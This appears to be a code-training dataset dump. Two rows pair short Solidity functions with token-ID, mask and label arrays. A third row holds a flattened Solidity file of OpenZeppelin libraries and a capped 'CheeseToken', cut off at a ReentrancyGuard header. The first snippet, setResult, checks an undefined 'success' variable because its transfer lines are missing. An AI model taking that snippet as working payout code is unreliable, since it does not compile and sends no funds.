file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
list | attention_mask
list | labels
list |
---|---|---|---|---|---|---|
./full_match/5/0x87fC7776628D76BF7F1F7386Ec04400302F95fAA/sources/contracts/Contract.sol
|
Resetting the state before transferring Transferring the amounts
|
function setResult(uint _winner) public onlyOwnerOrWinner(_winner) {
require(_winner == 1 || _winner == 2, "Winner must be either 1 or 2");
require(player1Bet == player2Bet, "Bets must be equal");
address payable winner = _winner == 1 ? player1 : player2;
pot = 0;
player1Bet = 0;
player2Bet = 0;
require(success, "Transfer to winner failed");
require(success, "Transfer to owner failed");
emit PlayerWon(winner, payout);
}
| 7,085,272 |
[
1,
7013,
1787,
326,
919,
1865,
906,
74,
20245,
2604,
74,
20245,
326,
30980,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
21582,
12,
11890,
389,
91,
7872,
13,
1071,
1338,
5541,
1162,
59,
7872,
24899,
91,
7872,
13,
288,
203,
3639,
2583,
24899,
91,
7872,
422,
404,
747,
389,
91,
7872,
422,
576,
16,
315,
59,
7872,
1297,
506,
3344,
404,
578,
576,
8863,
203,
3639,
2583,
12,
14872,
21,
38,
278,
422,
7291,
22,
38,
278,
16,
315,
38,
2413,
1297,
506,
3959,
8863,
203,
203,
3639,
1758,
8843,
429,
5657,
1224,
273,
389,
91,
7872,
422,
404,
692,
7291,
21,
294,
7291,
22,
31,
203,
203,
3639,
5974,
273,
374,
31,
203,
3639,
7291,
21,
38,
278,
273,
374,
31,
203,
3639,
7291,
22,
38,
278,
273,
374,
31,
203,
203,
3639,
2583,
12,
4768,
16,
315,
5912,
358,
5657,
1224,
2535,
8863,
203,
203,
3639,
2583,
12,
4768,
16,
315,
5912,
358,
3410,
2535,
8863,
203,
203,
3639,
3626,
19185,
59,
265,
12,
91,
7872,
16,
293,
2012,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xAc64fCaB932382005e6d6F13a88Dc5455ECC85a2/sources/contracts/ChainbackSign.sol
|
* @notice Updates target address to withdraw tokens from contract. Allowed only for contract owner. @param newDevWallet - target address to withdraw tokens from contract/
|
function updateDevWallet(address newDevWallet) external onlyOwner {
_devWallet = newDevWallet;
}
| 9,631,989 |
[
1,
5121,
1018,
1758,
358,
598,
9446,
2430,
628,
6835,
18,
16740,
1338,
364,
6835,
3410,
18,
225,
394,
8870,
16936,
300,
1018,
1758,
358,
598,
9446,
2430,
628,
6835,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1089,
8870,
16936,
12,
2867,
394,
8870,
16936,
13,
3903,
1338,
5541,
288,
203,
3639,
389,
5206,
16936,
273,
394,
8870,
16936,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Dependency file: @openzeppelin/contracts/math/SafeMath.sol
// SPDX-License-Identifier: MIT
// pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, 'SafeMath: subtraction overflow');
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, 'SafeMath: division by zero');
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, 'SafeMath: modulo by zero');
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// Dependency file: @openzeppelin/contracts/cryptography/MerkleProof.sol
// pragma solidity >=0.6.0 <0.8.0;
/**
* @dev These functions deal with verification of Merkle trees (hash trees),
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// Dependency file: contracts/libraries/Upgradable.sol
// pragma solidity >=0.6.5 <0.8.0;
contract UpgradableProduct {
address public impl;
event ImplChanged(address indexed _oldImpl, address indexed _newImpl);
constructor() public {
impl = msg.sender;
}
modifier requireImpl() {
require(msg.sender == impl, 'FORBIDDEN');
_;
}
function upgradeImpl(address _newImpl) public requireImpl {
require(_newImpl != address(0), 'INVALID_ADDRESS');
require(_newImpl != impl, 'NO_CHANGE');
address lastImpl = impl;
impl = _newImpl;
emit ImplChanged(lastImpl, _newImpl);
}
}
contract UpgradableGovernance {
address public governor;
event GovernorChanged(address indexed _oldGovernor, address indexed _newGovernor);
constructor() public {
governor = msg.sender;
}
modifier requireGovernor() {
require(msg.sender == governor, 'FORBIDDEN');
_;
}
function upgradeGovernance(address _newGovernor) public requireGovernor {
require(_newGovernor != address(0), 'INVALID_ADDRESS');
require(_newGovernor != governor, 'NO_CHANGE');
address lastGovernor = governor;
governor = _newGovernor;
emit GovernorChanged(lastGovernor, _newGovernor);
}
}
// Dependency file: contracts/libraries/TransferHelper.sol
// pragma solidity >=0.6.5 <0.8.0;
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{ value: value }(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
// Dependency file: contracts/libraries/WhiteList.sol
// pragma solidity >=0.6.5 <0.8.0;
pragma experimental ABIEncoderV2;
// import "contracts/libraries/Upgradable.sol";
contract WhiteList is UpgradableProduct {
event SetWhitelist(address indexed user, bool state);
mapping(address => bool) public whiteList;
/// This function reverts if the caller is not governance
///
/// @param _toWhitelist the account to mint tokens to.
/// @param _state the whitelist state.
function setWhitelist(address _toWhitelist, bool _state) external requireImpl {
whiteList[_toWhitelist] = _state;
emit SetWhitelist(_toWhitelist, _state);
}
/// @dev A modifier which checks if whitelisted for minting.
modifier onlyWhitelisted() {
require(whiteList[msg.sender], '!whitelisted');
_;
}
}
// Dependency file: contracts/libraries/ConfigNames.sol
// pragma solidity >=0.6.5 <0.8.0;
library ConfigNames {
bytes32 public constant FRYER_LTV = bytes32('FRYER_LTV');
bytes32 public constant FRYER_HARVEST_FEE = bytes32('FRYER_HARVEST_FEE');
bytes32 public constant FRYER_VAULT_PERCENTAGE = bytes32('FRYER_VAULT_PERCENTAGE');
bytes32 public constant FRYER_FLASH_FEE_PROPORTION = bytes32('FRYER_FLASH_FEE_PROPORTION');
bytes32 public constant PRIVATE = bytes32('PRIVATE');
bytes32 public constant STAKE = bytes32('STAKE');
}
// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol
// pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Dependency file: @openzeppelin/contracts/utils/Context.sol
// pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Dependency file: @openzeppelin/contracts/token/ERC20/ERC20.sol
// pragma solidity >=0.6.0 <0.8.0;
// import "@openzeppelin/contracts/utils/Context.sol";
// import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// import "@openzeppelin/contracts/math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'ERC20: transfer amount exceeds allowance')
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'ERC20: decreased allowance below zero')
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), 'ERC20: transfer from the zero address');
require(recipient != address(0), 'ERC20: transfer to the zero address');
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, 'ERC20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), 'ERC20: mint to the zero address');
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), 'ERC20: burn from the zero address');
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, 'ERC20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// Dependency file: contracts/CheeseToken.sol
// pragma solidity >=0.6.5 <0.8.0;
// import '/Users/sg99022ml/Desktop/chfry-protocol-internal/node_modules/@openzeppelin/contracts/token/ERC20/IERC20.sol';
// import '/Users/sg99022ml/Desktop/chfry-protocol-internal/node_modules/@openzeppelin/contracts/token/ERC20/ERC20.sol';
// import '/Users/sg99022ml/Desktop/chfry-protocol-internal/node_modules/@openzeppelin/contracts/math/SafeMath.sol';
// import 'contracts/libraries/Upgradable.sol';
contract CheeseToken is ERC20, UpgradableProduct {
using SafeMath for uint256;
mapping(address => bool) public whiteList;
constructor(string memory _symbol, string memory _name) public ERC20(_name, _symbol) {
_mint(msg.sender, uint256(2328300).mul(1e18));
}
modifier onlyWhitelisted() {
require(whiteList[msg.sender], '!whitelisted');
_;
}
function setWhitelist(address _toWhitelist, bool _state) external requireImpl {
whiteList[_toWhitelist] = _state;
}
function mint(address account, uint256 amount) external virtual onlyWhitelisted {
require(totalSupply().add(amount) <= cap(), 'ERC20Capped: cap exceeded');
_mint(account, amount);
}
function cap() public pure virtual returns (uint256) {
return 9313200 * 1e18;
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(
amount,
'ERC20: burn amount exceeds allowance'
);
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function burn(uint256 amount) external virtual {
_burn(_msgSender(), amount);
}
}
// Dependency file: @openzeppelin/contracts/utils/ReentrancyGuard.sol
// pragma solidity >=0.6.0 <0.8.0;
/**
